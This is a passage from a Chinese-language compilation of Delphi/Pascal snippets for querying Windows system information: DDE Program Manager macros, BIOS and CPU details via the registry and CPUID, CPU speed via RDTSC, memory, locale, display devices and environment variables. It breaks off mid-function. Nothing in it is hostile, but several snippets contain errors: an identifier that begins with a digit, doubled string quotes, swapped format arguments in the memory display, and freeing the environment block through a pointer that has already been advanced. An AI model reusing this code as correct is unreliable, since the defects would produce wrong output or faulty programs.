StrPCopy(szMacro, sMacro); // 转成 Null-Term. 字串
DdeClientConv1.ExecuteMacro(szMacro, False);
// 关闭 DDE 对话
DdeClientConv1.CloseLink;
end;
7. 保存后, 执行看看吧!
/////////////////////////////////////////////////////
procedure TForm1.Button1Click(Sender: TObject);
var
DdeClientConv : TDdeClientConv;
AGroupName, APrg, ADesc : String;
AShowCmd : Integer;

procedure SendMacro(const AMacro:String);
var
Cmd : array[0..255] of Char;
begin
if not DdeClientConv.ExecuteMacro(StrPCopy(Cmd,AMacro),False) then
raise Exception.CreateFmt('Macro %s failed',[AMacro]);
end;

begin
DdeClientConv:=TDdeClientConv.Create(Self);
try
with DdeClientConv do
begin
ConnectMode:=ddeManual;
SetLink('Progman','Progman');
OpenLink;
end;
try
AGroupName
:='Test';
AShowCmd
:=1;
APrg
:='C:\Windows\NotePad.exe';
ADesc
:='Notepad';
SendMacro(Format('[CreateGroup(%s)]',[AGroupname]));
SendMacro(Format('[ShowGroup(%s,%d)]',[AGroupname,AShowCmd]));
SendMacro(Format('[AddItem(%s,%s)]',[APrg,ADesc]));
SendMacro(Format('[DeleteGroup(%s)]',[AGroupname]));
finally
DdeClientConv.CloseLink;
end;
finally
DdeClientConv.Free;
end;
end;
//////////////////////////////////////////////////////////////
var
P:
PChar;
begin
ListBox1.Items.clear;
P :=
DDEClientConv1.RequestData('Groups');
ListBox1.Items.SetText(P);
StrDispose(P);


获得BIOS信息

procedure TForm1.BiosInfo;
const
Subkey: string = ''Hardware\description\system'';
var
hkSB: HKEY;
rType: LongInt;
ValueSize, OrigSize: Longint;
ValueBuf: array[0..1000] of char;
procedure ParseValueBuf(const VersionType: string);
var
I, Line: Cardinal;
S: string;
begin
i := 0;
Line := 0;
while ValueBuf[i] <> #0 do
begin
S := StrPas(@ValueBuf[i]); // move the Pchar into a string
Inc(Line);
Memo1.Lines.Append(Format(''%s Line %d = %s'',
[VersionType, Line, S])); // add it to a Memo
inc(i, Length(S) + 1);
// to point to next sz, or to #0 if at
end
end;
end;

begin
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar(Subkey), 0,
KEY_READ, hkSB) = ERROR_SUCCESS then
try
OrigSize := sizeof(ValueBuf);
ValueSize := OrigSize;
rType := REG_MULTI_SZ;
if RegQueryValueEx(hkSB, ''SystemBiosVersion'', nil, @rType,
@ValueBuf, @ValueSize) = ERROR_SUCCESS then
ParseValueBuf(''System BIOS Version'');

ValueSize := OrigSize;
rType := REG_SZ;
if RegQueryValueEx(hkSB, ''SystemBIOSDate'', nil, @rType,
@ValueBuf, @ValueSize) = ERROR_SUCCESS then
Memo1.Lines.Append(''System BIOS Date '' + ValueBuf);

ValueSize := OrigSize;
rType := REG_MULTI_SZ;
if RegQueryValueEx(hkSB, ''VideoBiosVersion'', nil, @rType,
@ValueBuf, @ValueSize) = ERROR_SUCCESS then
ParseValueBuf(''Video BIOS Version'');

ValueSize := OrigSize;
rType := REG_SZ;
if RegQueryValueEx(hkSB, ''VideoBIOSDate'', nil, @rType,
@ValueBuf, @ValueSize) = ERROR_SUCCESS then
Memo1.Lines.Append(''Video BIOS Date '' + ValueBuf);
finally
RegCloseKey(hkSB);
end;
end;


判断CPU是否支持3DNow技术

{$ifndef ver80} // 因为使用到32位寄存器

function 3DNowSupport: Boolean; assembler;

asm

push ebx

mov @Result, True

mov eax, $80000000

dw $A20F

cmp eax, $80000000

jbe @NOEXTENDED // 不支持3DNow

mov eax, $80000001

dw $A20F

test edx, $80000000

jnz @EXIT // 支持3DNow

@NOEXTENDED:

mov @Result, False

@EXIT:

pop ebx

end;

{$endif}


CPU型号

 在注册表中
"HKEY_LOCAL_MACHINE\hardware\DESCRIPTION\System\CentralProcessor\0"
对应VendorIndentifier的值


获得Intel CPU的信息

下面这个函数会返回一个字符串列表及特性集合，这个函数只对Intel 486及以上的CPU有效。其他CPU将返回[cpuNonIntel] 或 [cpuNoCPUID].

用法：

GetCpuFeatures(memo1.Lines);

支持的特性
---------------------------------------
CPU Family 6
CPU Model 7
CPU Stepping 3
On-Chip FPU
VirtualMode Extensions
Debugging Extensions
Page Size Extensions
Time Stamp Counter
Model Specific Registers
Physical Address Extensions
Machine Check Extensions
CMPXCHG8B Instruction
Fast System Call
Memory Type Range Registers
Page Global Enable
Machine Check Architecture
Conditional Move Instruction
Page Attribute Table
32 Bit Page Size Extension
Intel MMX Technology
Fast Floating Point Save and Restore
Streaming SIMD Extensions

unit Unit2;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms;

type
TForm2 = class(TForm)
private
{ Private declarations }
public
{ Public declarations } end;

TCpuFeature = (cpuNoCPUID,cpuNonIntel,cpuOnChipFPU,
cpuVirtualModeExtensions,cpuDebuggingExtensions,
cpuPageSizeExtensions,cpuTimeStampCounter,
cpuModelSpecificRegisters,cpuPhysicalAddressExtensions,
cpuMachineCheckExtensions,cpuCMPXCHG8B,cpuOnChipAPIC,
cpuFastSystemCall,cpuMemoryRangeRegisters,cpuPageGlobalEnable,
cpuMachineCheckArchitecture,cpuConditionalMoveInstruction,
cpuPageAttributeTable,cpu32bitPageSzExtension,
cpuProcessorSerialNum,cpuMMXTechnology,cpuFastFloatingPoint,
cpuSIMDExtensions);

TCpuFeatures = set of TCpuFeature;

function GetCpuFeatures(FeatureList : TStrings = nil) : TCpuFeatures;

var Form2: TForm2;
implementation
{$R *.DFM}

function GetCpuFeatures(FeatureList : TStrings = nil) : TCpuFeatures;
const
FPU_FLAG = $0001;
VME_FLAG = $0002;
DE_FLAG = $0004;
PSE_FLAG = $0008;
TSC_FLAG = $0010;
MSR_FLAG = $0020;
PAE_FLAG = $0040;
MCE_FLAG = $0080;
CX8_FLAG = $0100;
APIC_FLAG = $0200;
SEP_FLAG = $0800;
MTRR_FLAG = $1000;
PGE_FLAG = $2000;
MCA_FLAG = $4000;
CMOV_FLAG = $8000;
PAT_FLAG = $10000;
PSE36_FLAG = $20000;
PSNUM_FLAG = $40000;
MMX_FLAG = $800000;
FXSR_FLAG = $1000000;
SIMD_FLAG = $2000000;

var IsIntel : boolean;
VendorID : array [0..12] of char;
IntelID : array [0..12] of char;
FeaturesFlag,CpuSignature : DWord;
Temp : DWord;
RetVar : TCpuFeatures;
CpuType : byte;

procedure CheckFeature(FeatureFlag : DWord;
const Item : string;
cpuFeatureType : TCpuFeature);
begin
if FeaturesFlag and FeatureFlag = FeatureFlag then begin
if FeatureList <> nil then FeatureList.Add(Item);
include(RetVar,cpuFeatureType);
end;
end;

begin
RetVar := [];
if FeatureList <> nil then FeatureList.Clear;
IsIntel := false;
IntelId := 'GenuineIntel'#0;
VendorID := '------------'#0;

try
asm

//确认是否支持Intel CPUID调用
push ebx
push esi
push edi
mov eax,0 // Set up for CPUID instruction
db 00fh // CPUID - Get Vendor and check INTEL
db 0a2h
mov dword ptr VendorId,ebx
mov dword ptr VendorId[+4],edx
mov dword ptr VendorId[+8],ecx
cmp dword ptr IntelId,ebx //检查是否是Intel CPU
jne @@EndCPUID
cmp dword ptr IntelId[+4],edx
jne @@EndCPUID
cmp dword ptr IntelId[+8],ecx
jne @@EndCPUID // 非Intel CPU

mov byte ptr IsIntel,1 // Set IsIntel to true
cmp eax,1 // Ensure 1 is valid input for CPUID
jl @@EndCPUID // Else jump to end

mov eax,1
db 00fh // CPUID - Get features,family etc.
db 0a2h
mov CpuSignature,eax
mov FeaturesFlag,edx
shr eax,8 // Isolate family
and eax,0fh
mov byte ptr CpuType,al // Set cputype with family

@@EndCPUID :

pop edi // 恢复寄存器
pop esi
pop ebx
end;

// 检查特性掩码
if IsIntel then begin
if FeatureList <> nil then begin
FeatureList.Add('CPU Family ' + IntToStr(CpuType));
Temp := (CpuSignature shr 4) and $0f;
FeatureList.Add('CPU Model ' + IntToStr(Temp));
Temp := CpuSignature and $0f;
FeatureList.Add('CPU Stepping ' + IntToStr(Temp));
end;

CheckFeature(FPU_FLAG,'On-Chip FPU',cpuOnChipFPU);
CheckFeature(VME_FLAG,
'VirtualMode Extensions',cpuVirtualModeExtensions);
CheckFeature(DE_FLAG,'Debugging Extensions',cpuDebuggingExtensions);
CheckFeature(PSE_FLAG,'Page Size Extensions',cpuPageSizeExtensions);
CheckFeature(TSC_FLAG,'Time Stamp Counter',cpuTimeStampCounter);
CheckFeature(MSR_FLAG,
'Model Specific Registers',cpuModelSpecificRegisters);
CheckFeature(PAE_FLAG,
'Physical Address Extensions',
cpuPhysicalAddressExtensions);
CheckFeature(MCE_FLAG,
'Machine Check Extensions',cpuMachineCheckExtensions);
CheckFeature(CX8_FLAG,'CMPXCHG8B Instruction',cpuCMPXCHG8B);
CheckFeature(APIC_FLAG,'On Chip APIC',cpuOnChipAPIC);
CheckFeature(SEP_FLAG,'Fast System Call',cpuFastSystemCall);
CheckFeature(MTRR_FLAG,
'Memory Type Range Registers',cpuMemoryRangeRegisters);
CheckFeature(PGE_FLAG,'Page Global Enable',cpuPageGlobalEnable);
CheckFeature(MCA_FLAG,
'Machine Check Architecture',cpuMachineCheckArchitecture);
CheckFeature(CMOV_FLAG,
'Conditional Move Instruction',
cpuConditionalMoveInstruction);
CheckFeature(PAT_FLAG,'Page Attribute Table',cpuPageAttributeTable);
CheckFeature(PSE36_FLAG,
'32 Bit Page Size Extension',cpu32BitPageSzExtension);
CheckFeature(PSNUM_FLAG,
'Processor Serial Number',cpuProcessorSerialNum);
CheckFeature(MMX_FLAG,'Intel MMX Technology',cpuMMXTechnology);
CheckFeature(FXSR_FLAG,
'Fast Floating Point Save and Restore',
cpuFastFloatingPoint);
CheckFeature(SIMD_FLAG,'Streaming SIMD Extensions',cpuSIMDExtensions);
end
else begin
if FeatureList <> nil then
FeatureList.Add('Non-Intel or >486 Chip - Features Unknown');
include(RetVar,cpuNonIntel);
end;
except
if FeatureList <> nil then FeatureList.Add('No CPUID Support');
include(RetVar,cpuNoCPUID);
end;

Result := RetVar;
end;

end.


检测Insert、Capslock、NumLock、ScrollLock状态键的状态

可以调用Win API的Getkeyboardstate()函数。
常量 按键名称
VK_INSERTI nsert键
VK_NUMLOCK Num Lock键
VK_CAPITAL Caps Lock键
VK_SCROLL Scroll Lock键
键盘缓冲区每一位都有一位特定的格式，对于状态键来说，最低位是1时表示状态键处于ON状态，你可以使用odd()函数来确定这一位的状态，以下是一个简单的例子请参考。例子中放置一个Timer控件、一个StayusBar1状态条。
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, ComCtrls;

type
TForm1 = class(TForm)
StatusBar1: TStatusBar;
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Timer1Timer(Sender: TObject);
var ks:tkeyboardstate;
begin
getkeyboardstate(ks);//检测键盘函数
if odd(ks[VK_NUMLOCK]) then
statusbar1.panels.items[0].text:='NUM'
else
statusbar1.panels.items[0].text:='';
if odd(ks[VK_INSERT]) then
statusbar1.panels.items[1].text:='INSERT'
else
statusbar1.panels.items[1].text:='';
if odd(ks[VK_CAPITAL]) then
statusbar1.panels.items[2].text:='CAPITAL'
else
statusbar1.panels.items[2].text:='' ;
if odd(ks[VK_SCROLL]) then
statusbar1.panels.items[3].text:='SCROLL'
else
statusbar1.panels.items[3].text:='';
end;
end.


驱动器速度

procedure TForm1.Button1Click(Sender: TObject);
var
reg : TRegistry;
Data : integer;

begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_DYN_DATA;

Reg.OpenKey('PerfStats\StatData',false);
Reg.ReadBinaryData('VFAT\ReadsSec',Data,SizeOf(integer));
Label1.Caption:=IntToStr(Data)+' bytes read per second';
Reg.ReadBinaryData('VFAT\WriteSec',Data,SizeOf(integer));
Label2.Caption:=IntToStr(Data)+' bytes written per second';
Reg.CloseKey;

Reg.Free;
end;


获取磁盘系列号信息

     一、 用GetDriveType函数获取磁盘信息
    Lbl_DriveType:Tlabel;
    DriveType:WORD; //定义驱动器类型变量
    DriveType:=GetDriveType(RootPathName); //获得RootPathName所对应的磁盘驱动器信息
    case DriveType of
    DRIVE_REMOVABLE:Lbl_DriveType.Caption:= '软盘驱动器';
    DRIVE_FIXED : Lbl_DriveType.Caption:= '硬盘驱动器';
    DRIVE_REMOTE: Lbl_DriveType.Caption:= '网络驱动器';
    DRIVE_CDROM: Lbl_DriveType.Caption:= '光盘驱动器';
    DRIVE_RAMDISK: Lbl_DriveType.Caption:= '内存虚拟盘';
    end; //将该磁盘信息显示在Lbl_DriveType中
    二、 用GlobalMemoryStatus函数获取内存使用信息
    MemStatus: TMEMORYSTATUS; //定义内存结构变量
    Lbl_Memory:Tlabel;
    MemStatus.dwLength := size of(TMEMORYSTATU
S);
    GlobalMemoryStatus(MemStatus); //返回内存使用信息
     Lbl_Memory.Caption := format('共有内存: %d KB 可用内存: %dKB',[MemStatus.dwAvailPhys div 1024,MemStatus.dwTotalPhys div 1024]);
    //将内存信息显示在Lbl_Memory中
    三、 用GetSystemInfo函数获取CPU信息
    SysInfo: TSYSTEMINFO;
    Lbl_CPUName:Tlabel;
    GetSystemInfo(SysInfo);//获得CPU信息
    case SysInfo.dwProcessorType of
    PROCESSOR_INTEL_386:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumber Of Processors,'Intel80386']);
    PROCESSOR_INTEL_486:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumber Of Processors, 'Intel 80486']);
    PROCESSOR_INTEL_PENTIUM:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNum
berOfProcessors, 'Intel Pentium']);
    PROCESSOR_MIPS_R4000:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumberOfProcessors, 'MIPS R4000']);
    PROCESSOR_ALPHA_21064:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumberOfProcessors, 'ALPHA 21064']);
    end;//把CPU信息显示在Lbl_CPUName中。(陕西　杨波)


获得CPU的速度

   program CpuSpeed;
uses SysUtils, Windows, Dialogs;
function GetCpuSpeed: Comp;
var
t: DWORD;
mhi, mlo, nhi, nlo: DWORD;
t0, t1, chi, clo, shr32: Comp;
begin
shr32 := 65536;
shr32 := shr32 * 65536;
t := GetTickCount;
while t = GetTickCount do begin end;
asm
DB 0FH
DB 031H
mov mhi,edx
mov mlo,eax
end;
while GetTickCount < (t + 1000) do begin end;
asm
DB 0FH
DB 031H
mov nhi,edx
mov nlo,eax
end;
chi := mhi; if mhi < 0 then chi := chi + shr32;
clo := mlo; if mlo < 0 then clo := clo + shr32;
t0 := chi * shr32 + clo;
chi := nhi; if nhi < 0 then chi := chi + shr32;
clo := nlo; if nlo < 0 then clo := clo + shr32;
t1 := chi * shr32 + clo;
Result := (t1 - t0) / 1E6;
end;
begin
MessageDlg(Format('%.1f MHz', [GetCpuSpeed]), mtConfirmation,
   [mbOk], 0);
end.

function GetCPUSpeed: Double;
const
DelayTime = 500; // measure time in ms
var
TimerHi, TimerLo: DWORD;
PriorityClass, Priority: Integer;
begin
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);

SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);

Sleep(10);
asm
dw 310Fh // rdtsc
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh // rdtsc
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;

SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);

Result := TimerLo / (1000.0 * DelayTime);
end;

function RDTSC : Int64; assembler;
asm
db $0F, $31 // opcode for RDTSC
end;

function RDQPC : Int64;
begin
QueryPerformanceCounter(result);
end;

function CPUSpeed : Integer;
var
f,tsc,pc : Int64;
begin
if QueryPerformanceFrequency(f) then
begin
Sleep(0);
pc := RDQPC;
tsc := RDTSC;
Sleep(100);
pc := RDQPC-pc;
tsc := RDTSC-tsc;
result := round(tsc*f/(pc*1000000));
end
else
result := -1;
end;

由于使用RDTSC操作码，因此以下函数只能返回Pentium或者更高芯片的速度。另一种解决方法是使用WinAPI中的QueryPerformanceCounter或者QueryPerformanceFrequency函数。

function GetCPUSpeed: real;

function IsCPUID_Available: Boolean; assembler; register;

asm

PUSHFD { direct access to flags not possible, only via stack }

POP EAX { flags to EAX }

MOV EDX,EAX { save current flags }

XOR EAX,$200000 { not ID bit }

PUSH EAX { onto stack }

POPFD { from stack to flags, with not ID bit }

PUSHFD { back to stack }

POP EAX { get back to EAX }

XOR EAX,EDX { check if ID bit affected }

JZ @exit { no, CPUID not availavle }

MOV AL,True { Result=True }

@exit:

end;

function hasTSC: Boolean;

var

Features: Longword;

begin

asm

MOV Features,0 { Features = 0 }

PUSH EBX

XOR EAX,EAX

DW $A20F

POP EBX

CMP EAX,$01

JL @Fail

XOR EAX,EAX

MOV EAX,$01

PUSH EBX

DW $A20F

MOV Features,EDX

POP EBX

@Fail:

end;

hasTSC := (Features and $10) <> 0;

end;

const

DELAY = 500;

var

TimerHi, TimerLo: Integer;

PriorityClass, Priority: Integer;

begin

Result := 0;

if not (IsCPUID_Available and hasTSC) then Exit;

PriorityClass := GetPriorityClass(GetCurrentProcess);

Priority := GetThreadPriority(GetCurrentThread);

SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);

SetThreadPriority(GetCurrentThread,

THREAD_PRIORITY_TIME_CRITICAL);

SleepEx(10, FALSE);

asm

DB $0F { $0F31 操作码是Pentium指令集中的RDTSC }

DB $31 { 返回64位整数 }

MOV TimerLo,EAX

MOV TimerHi,EDX

end;

SleepEx(DELAY, FALSE);

asm

DB $0F { $0F31 操作码是Pentium指令集中的RDTSC }

DB $31 { 返回64位整数 }

SUB EAX,TimerLo

SBB EDX,TimerHi

MOV TimerLo,EAX

MOV TimerHi,EDX

end;

SetThreadPriority(GetCurrentThread, Priority);

SetPriorityClass(GetCurrentProcess, PriorityClass);

Result := TimerLo / (1000 * DELAY);

end;


辨别分辨率

 要得到显示器的分辨率，由下列程序得到：
var
x:longint;
a:string;
begin
x := GetSystemMetrics(SM_CXSCREEN);
Str(x,a);
Label1.Caption := '显示器水平分辨率' + a;
x := GetSystemMetrics(SM_CYSCREEN);
Str(x,a);
Label2.Caption := '显示器垂直分辨率' + a;
end;


内存信息

Structure of TMemoryStatus:

  TMemoryStatus = record
dwLength:
DWORD;
dwMemoryLoad: DWORD;
dwTotalPhys: DWORD;
dwAvailPhys:
DWORD;
dwTotalPageFile: DWORD;
dwAvailPageFile: DWORD;
dwTotalVirtual:
DWORD;
dwAvailVirtual: DWORD;

Function called to populate TMemoryStatus:

procedure GlobalMemoryStatus(var lpBuffer: TMemoryStatus); stdcall;

WINAPI help for said function:

VOID GlobalMemoryStatus(
// pointer to the memory status structure
LPMEMORYSTATUS lpBuffer
);

Code for populating a TMemo with Information about system resources:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
MemoryStatus: TMemoryStatus;

begin

Memo1.Lines.Clear;

MemoryStatus.dwLength := SizeOf(MemoryStatus);

GlobalMemoryStatus(MemoryStatus);

with MemoryStatus do
begin
// Size of MemoryStatus record
Memo1.Lines.Add(IntToStr(dwLength) +
' Size of ''MemoryStatus'' record');
// Per-Cent of Memory in use by your system
Memo1.Lines.Add(IntToStr(dwMemoryLoad) +
'% memory in use');
// The amount of Total Physical memory allocated to your system.
Memo1.Lines.Add(IntToStr(dwTotalPhys) +
' Total Physical Memory in bytes');
// The amount available of physical memory in your system.
Memo1.Lines.Add(IntToStr(dwAvailPhys) +
' Available Physical Memory in bytes');
// The amount of Total Bytes allocated to your page file.
Memo1.Lines.Add(IntToStr(dwTotalPageFile) +
' Total Bytes of Paging File');
// The amount of available bytes in your page file.
Memo1.Lines.Add(IntToStr(dwAvailPageFile) +
' Available bytes in paging file');
// The amount of Total bytes allocated to this program
// (generally 2 gigabytes of virtual space).
Memo1.Lines.Add(IntToStr(dwTotalVirtual) +
' User Bytes of Address space');
// The amount of avalable bytes that is left to your program to use.
Memo1.Lines.Add(IntToStr(dwAvailVirtual) +
' Available User bytes of address space');
end; // with
end; // procedure

end.


取系统颜色

要取得系统颜色，把参数换一下就可以
COLOR_SCROLLBAR　　　　　　滚动条
COLOR_BACKGROUND　　　　 　桌面背景
COLOR_ACTIVECAPTION 　 　　活动窗口标题
cOLOR_INACTIVECAPTION　　　非活动窗口标题
cOLOR_MENU　　　　　　 　　菜单
COLOR_WINDOW　　　　　 　　窗口背景
cOLOR_WINDOWFRAME　　　　　窗口框
COLOR_MENUTEXT　　　　 　　窗口文字
COLOR_WINDOWTEXT　　　 　　3D 阴影 (Win95)
COLOR_CAPTIONTEXT　　　　　标题文字
COLOR_ACTIVEBORDER　　 　　活动窗口边框
COLOR_INACTIVEBORDER　 　　非活动窗口边框
COLOR_APPWORKSPACE　　 　　MDI 窗口背景

COLOR_HIGHLIGHT　　　　　　选择条背景
COLOR_HIGHLIGHTTEXT　　　　选择条文字
COLOR_BTNFACE　　　　　　　按钮
COLOR_BTNSHADOW　　　　　　3D 按钮阴影
COLOR_GRAYTEXT　　　　 　　灰度文字
COLOR_BTNTEXT　　　　　　　按钮文字
COLOR_INACTIVECAPTIONTEXT　非活动窗口文字
COLOR_BTNHIGHLIGHT　　 　　3D 选择按钮}
var i:integer;
begin
//取得活动窗口标题颜色
i :=GetSysColor(COLOR_ACTIVECAPTION);
end;


获得显卡的信息

procedure TForm1.ButtonClick(Sender: TObject);
var
lpDisplayDevice: TDisplayDevice;
dwFlags: DWORD;
cc:
DWORD;
begin
lpDisplayDevice.cb := sizeof(lpDisplayDevice);
dwFlags
:= 0;
cc:= 0;
while EnumDisplayDevices(nil, cc, lpDisplayDevice ,
dwFlags) do
begin
Inc(cc);
aListbox.Items.Add(lpDisplayDevice.DeviceString); {there
is also additional information in lpDisplayDevice}
end;
end;

另外可以读注册表来获得信息

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Display

%HKLM%\System\CurrentControlSet\Services\Class\Display\0000
%HKLM%\System\CurrentControlSet\Services\Class\Display\0001
%HKLM%\System\CurrentControlSet\Services\Class\Display\0002
.....


获得系统本地信息

   Windows API中有一个函数GetLocaleInfo可以用来获得系统信息比如系统语言, 货币符号等

代码如下：

function TForm1.GetLocaleInformation(Flag: Integer): String;
var
pcLCA: Array[0..20] of Char;
begin
if( GetLocaleInfo(LOCALE_SYSTEM_DEFAULT,Flag,pcLCA,19) <= 0
   ) then begin
pcLCA[0] := #0;
end;
Result := pcLCA;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(GetLocaleInformation(LOCALE_SENGLANGUAGE));
end;

参数"Flag"可以取下列值:

LOCALE_NOUSEROVERRIDE { do not use user overrides }
LOCALE_USE_CP_ACP { use the system ACP }
LOCALE_ILANGUAGE { 语言代号 }
LOCALE_SLANGUAGE { 本地语言名称 }
LOCALE_SENGLANGUAGE { 语言的英语名 }
LOCALE_SABBREVLANGNAME { 语言名称缩写 }
LOCALE_SNATIVELANGNAME { 本地语言名称 }
LOCALE_ICOUNTRY { 国家代号 }
LOCALE_SCOUNTRY { 国家名 }
LOCALE_SENGCOUNTRY { 国家的英语名称 }
LOCALE_SABBREVCTRYNAME { 国家名缩写 }
LOCALE_SNATIVECTRYNAME { 国家名 }
LOCALE_IDEFAULTLANGUAGE { 缺省语言代号 }
LOCALE_IDEFAULTCOUNTRY { 缺省国家代码 }
LOCALE_IDEFAULTCODEPAGE { 缺省oem代码页 }
LOCALE_IDEFAULTANSICODEPAGE { 缺省ansi代码页 }
LOCALE_IDEFAULTMACCODEPAGE { 缺省mac页 }
LOCALE_SLIST { 列表项分割符 }
LOCALE_IMEASURE { 测量单位0 = 米制, 1 = 英制 }
LOCALE_SDECIMAL { 小数点符号 }
LOCALE_STHOUSAND { 千位分割符 }
LOCALE_SGROUPING { digit grouping }
LOCALE_IDIGITS { number of fractional digits }
LOCALE_ILZERO { leading zeros for decimal }
LOCALE_INEGNUMBER { 负数模式 }
LOCALE_SNATIVEDIGITS { native ascii 0-9 }
LOCALE_SCURRENCY { 本地货币符号 }
LOCALE_SINTLSYMBOL { 国际货币符号 }
LOCALE_SMONDECIMALSEP { 货币小数点分割符 }
LOCALE_SMONTHOUSANDSEP { 货币千位分割符 }
LOCALE_SMONGROUPING { monetary grouping }
LOCALE_ICURRDIGITS { # local monetary digits }
LOCALE_IINTLCURRDIGITS { # intl monetary digits }
LOCALE_ICURRENCY { positive currency mode }
LOCALE_INEGCURR { negative currency mode }
LOCALE_SDATE { 日期分割符 }
LOCALE_STIME { 时间分割符 }
LOCALE_SSHORTDATE { 短日期字符串 }
LOCALE_SLONGDATE { 长日期字符串 }
LOCALE_STIMEFORMAT { time format string }
LOCALE_IDATE { short date format ordering }
LOCALE_ILDATE { long date format ordering }
LOCALE_ITIME { time format specifier }
LOCALE_ITIMEMARKPOSN { time marker position }
LOCALE_ICENTURY { century format specifier (short date) }
LOCALE_ITLZERO { leading zeros in time field }
LOCALE_IDAYLZERO { leading zeros in day field (short date) }
LOCALE_IMONLZERO { leading zeros in month field (short date) }
LOCALE_S1159 { AM designator }
LOCALE_S2359 { PM designator }
LOCALE_ICALENDARTYPE { type of calendar specifier }
LOCALE_IOPTIONALCALENDAR { additional calendar types specifier }
LOCALE_IFIRSTDAYOFWEEK { first day of week specifier }
LOCALE_IFIRSTWEEKOFYEAR { first week of year specifier }
LOCALE_SDAYNAME1 { long name for Monday }
LOCALE_SDAYNAME2 { long name for Tuesday }
LOCALE_SDAYNAME3 { long name for Wednesday }
LOCALE_SDAYNAME4 { long name for Thursday }
LOCALE_SDAYNAME5 { long name for Friday }
LOCALE_SDAYNAME6 { long name for Saturday }
LOCALE_SDAYNAME7 { long name for Sunday }
LOCALE_SABBREVDAYNAME1 { 星期一的缩写 }
LOCALE_SABBREVDAYNAME2 { 星期二的缩写 }
LOCALE_SABBREVDAYNAME3 { 星期三的缩写 }
LOCALE_SABBREVDAYNAME4 { 星期四的缩写 }
LOCALE_SABBREVDAYNAME5 { 星期五的缩写 }
LOCALE_SABBREVDAYNAME6 { 星期六的缩写 }
LOCALE_SABBREVDAYNAME7 { 星期天的缩写 }
LOCALE_SMONTHNAME1 { long name for January }
LOCALE_SMONTHNAME2 { long name for February }
LOCALE_SMONTHNAME3 { long name for March }
LOCALE_SMONTHNAME4 { long name for April }
LOCALE_SMONTHNAME5 { long name for May }
LOCALE_SMONTHNAME6 { long name for June }
LOCALE_SMONTHNAME7 { long name for July }
LOCALE_SMONTHNAME8 { long name for August }
LOCALE_SMONTHNAME9 { long name for September }
LOCALE_SMONTHNAME10 { long name for October }
LOCALE_SMONTHNAME11 { long name for November }
LOCALE_SMONTHNAME12 { long name for December }
LOCALE_SMONTHNAME13 { long name for 13th month (if exists) }
LOCALE_SABBREVMONTHNAME1 { 一月的缩写 }
LOCALE_SABBREVMONTHNAME2 { 二月的缩写 }
LOCALE_SABBREVMONTHNAME3 { 三月的缩写 }
LOCALE_SABBREVMONTHNAME4 { 四月的缩写 }
LOCALE_SABBREVMONTHNAME5 { 五月的缩写 }
LOCALE_SABBREVMONTHNAME6 { 六月的缩写 }
LOCALE_SABBREVMONTHNAME7 { 七月的缩写 }
LOCALE_SABBREVMONTHNAME8 { 八月的缩写 }
LOCALE_SABBREVMONTHNAME9 { 九月的缩写 }
LOCALE_SABBREVMONTHNAME10 { 十月的缩写 }
LOCALE_SABBREVMONTHNAME11 { 十一月的缩写 }
LOCALE_SABBREVMONTHNAME12 { 十二月的缩写 }
LOCALE_SABBREVMONTHNAME13 { 十三月的缩写（如果有的话） }
LOCALE_SPOSITIVESIGN { 正号 }
LOCALE_SNEGATIVESIGN { 负号 }
LOCALE_IPOSSIGNPOSN { 正号位置 }
LOCALE_INEGSIGNPOSN { 负号位置 }
LOCALE_IPOSSYMPRECEDES { mon sym precedes pos amt }
LOCALE_IPOSSEPBYSPACE { mon sym sep by space from pos amt }
LOCALE_INEGSYMPRECEDES { mon sym precedes neg amt }
LOCALE_INEGSEPBYSPACE { mon sym sep by space from neg amt }
LOCALE_FONTSIGNATURE { font signature }
LOCALE_SISO639LANGNAME { ISO 缩写语言名称 }
LOCALE_SISO3166CTRYNAME { ISO 缩写国家名称 }


获取环境变量

 procedure TForm1.Button1Click(Sender: TObject);
var
p : pChar;
begin
Memo1.Lines.Clear;
Memo1.WordWrap := false;
{$IFDEF WIN32}
p := GetEnvironmentStrings;
{$ELSE}
p := GetDOSEnvironment;
{$ENDIF}
while p^ <> #0 do begin
Memo1.Lines.Add(StrPas(p));
inc(p, lStrLen(p) + 1);
end;
{$IFDEF WIN32}
FreeEnvironmentStrings(p);
{$ENDIF}
end;


检查是否为XP

下面的代码可以检查所用的系统是不是windows xp
uses Registry;
...

function IsWinXP: Boolean;
begin
Result := False;
if Win32Platform = VER_PLATFORM_WIN32_NT then
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
if OpenKeyReadOnly('\Software\Microsoft\Windows NT\CurrentVersion') then
Result := (ReadString('ProductName') = 'Microsoft Windows XP');
finally
Free;
end;
end;

//rock
//转载请保留此信息


检测当前用户是否登录为系统管理员

function IsAdmin: Boolean;

var

hAccessToken: THandle;

